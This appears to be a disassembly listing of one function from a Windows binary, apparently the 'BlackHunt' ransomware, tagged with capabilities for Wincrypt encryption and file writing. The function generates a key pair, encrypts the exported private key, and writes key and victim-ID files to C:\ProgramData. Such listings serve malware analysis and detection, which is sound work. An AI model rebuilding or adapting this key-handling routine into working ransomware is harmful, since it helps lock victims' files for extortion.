Function at 0x402590
Capabilities:
Encrypt or decrypt via wincrypt
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x459008]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x479b08], 0
push ebx
push esi
push edi
je 0x4025b9
push str.GenKey
call fcn.00401d20
add esp, 4
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
nop dword [eax + eax]
push 0x140
push 8
push dword [0x47a330]
call ebx
mov edi, eax
mov dword [ebp - 0x1c], edi
test edi, edi
je 0x4025e0
push 0x47a32c
push 0x8000001
push 1
push dword [0x478108]
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x40263b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptGenKey_Faild__GetLastError___lu
call fcn.00401d20
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x14]
push eax
push 0
push 0
push 7
push 0
push dword [0x47a32c]
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
jne 0x40267e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptExportPrivateKey1_Faild__GetLastError___lu
call fcn.00401d20
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0x14]
add edi, 0x40
push edi
push 8
push dword [0x47a330]
call ebx
mov esi, eax
mov dword [ebp - 0x2c], esi
test esi, esi
je 0x402684
mov ebx, dword [sym.imp.ADVAPI32.dll_CryptExportKey]
lea eax, [ebp - 0x14]
push eax
push esi
push 0
push 7
push 0
push dword [0x47a32c]
call ebx
mov edi, dword [ebp - 0x1c]
test eax, eax
jne 0x4026df
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptExportPrivateKey2_Faild__GetLastError___lu
call fcn.00401d20
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 6
push 0
push dword [0x47a32c]
call ebx
test eax, eax
jne 0x40271e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptExportKey1_Faild__GetLastError___lu
call fcn.00401d20
add esp, 8
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040a2df
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
call fcn.004056b0
mov dword [ebp - 0x1c], eax
test eax, eax
jne 0x40273e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.PublicKeyBlob_memory_allocation_failed__GetLastError___lu
jmp 0x402a24
lea ecx, [ebp - 0x10]
push ecx
push eax
push 0
push 6
push 0
push dword [0x47a32c]
call ebx
test eax, eax
jne 0x402766
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CryptExportKey2_Faild__GetLastError___lu
jmp 0x402a24
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataBlackHunt_Private.key
call ebx
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x4027b4
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push str.BlackHunt_Private.key
call ebx
mov dword [ebp - 0x28], eax
test eax, eax
jne 0x4027b4
push str.Cannot_Create_PrivKey_File
call fcn.00401d20
add esp, 4
jmp 0x402a2c
xor ecx, ecx
mov dword [ebp - 0x24], ecx
nop dword [eax]
mov dword [ebp - 0x18], 0
cmp dword [ebp - 0x18], 0x100
jae 0x4027e3
mov eax, dword [ebp - 0x18]
mov byte [eax + edi], 0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x100
jb 0x4027d0
mov dword [ebp - 0x18], 0
test ecx, ecx
jne 0x402823
cmp dword [ebp - 0x18], 0xec
jae 0x40281a
mov ebx, dword [ebp - 0x20]
nop word [eax + eax]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add edx, esi
mov al, byte [edx + ebx]
mov byte [ecx + edi], al
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xec
jb 0x402800
mov dword [ebp - 8], 0xec
jmp 0x402851
cmp dword [ebp - 0x18], 0xea
jae 0x40284a
mov ebx, dword [ebp - 0x20]
nop
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
add edx, esi
mov al, byte [edx + ebx]
mov byte [ecx + edi], al
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xea
jb 0x402830
mov dword [ebp - 8], 0xea
push 0x100
lea eax, [ebp - 8]
push eax
push edi
push 0
push 1
push 0
push dword [0x47a328]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x402a18
push 0
xor ebx, ebx
lea eax, [ebp - 0xc]
cmp dword [ebp - 0x24], ebx
push eax
push dword [ebp - 8]
sete bl
push edi
push dword [ebp - 0x28]
lea ebx, [ebx*2 + 0xea]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402a0a
mov ecx, dword [ebp - 0x24]
add dword [ebp - 0x20], ebx
inc ecx
mov dword [ebp - 0x24], ecx
cmp ecx, 5
jl 0x4027c0
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataBlackHunt_Public.key
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x402909
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push str.BlackHunt_Public.key
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x402909
push str.Cannot_Create_PubKey_File
call fcn.00401d20
add esp, 4
jmp 0x402a2c
push 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x402931
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_Write_PubKey_To_File__GetLastError___lu
jmp 0x402a24
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x479b00
push 0
push 0
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
push dword [0x478108]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
jne 0x402969
push str.Import_PubKey_failed___n
call fcn.00401d20
add esp, 4
jmp 0x402a2c
push 0
push 0
push 1
push 0
push 0
push 0x40000000
push str.C:ProgramDataBlackHunt_ID.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x4029b4
push eax
push eax
push 1
push eax
push eax
push 0x40000000
push str.BlackHunt_ID.txt
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
jne 0x4029b4
push str.Cannot_Create_ID_File
call fcn.00401d20
add esp, 4
jmp 0x402a2c
call fcn.004022a0
xor ecx, ecx
nop dword [eax + eax]
movzx eax, word [ecx + 0x46f438]
lea ecx, [ecx + 2]
mov word [ecx + 0x47a2e2], ax
test ax, ax
jne 0x4029c0
push 0
lea eax, [ebp - 0xc]
push eax
push 0x20
push 0x46f438
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4029fc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_Write_ID_To_File__GetLastError___lu_n
jmp 0x402a24
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, 1
jmp 0x402a2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Cannot_Write_PrivKey_To_File__GetLastError___lu
jmp 0x402a24
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.EncryptKey_Faild__GetLastError___lu
call fcn.00401d20
add esp, 8
xor ebx, ebx
push dword [0x47a32c]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov ecx, dword [ebp - 0x14]
mov eax, esi
test ecx, ecx
je 0x402a4e
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402a43
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
mov eax, edx
test ecx, ecx
je 0x402a6b
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402a60
mov ecx, 0x100
mov eax, edi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x402a72
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edx
push ecx
push dword [0x47a330]
call esi
push dword [ebp - 0x2c]
push 0
push dword [0x47a330]
call esi
push edi
push 0
push dword [0x47a330]
call esi
cmp dword [0x479b08], 0
je 0x402abb
push str.return_GenKey
call fcn.00401d20
add esp, 4
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a2df
mov esp, ebp
pop ebp
ret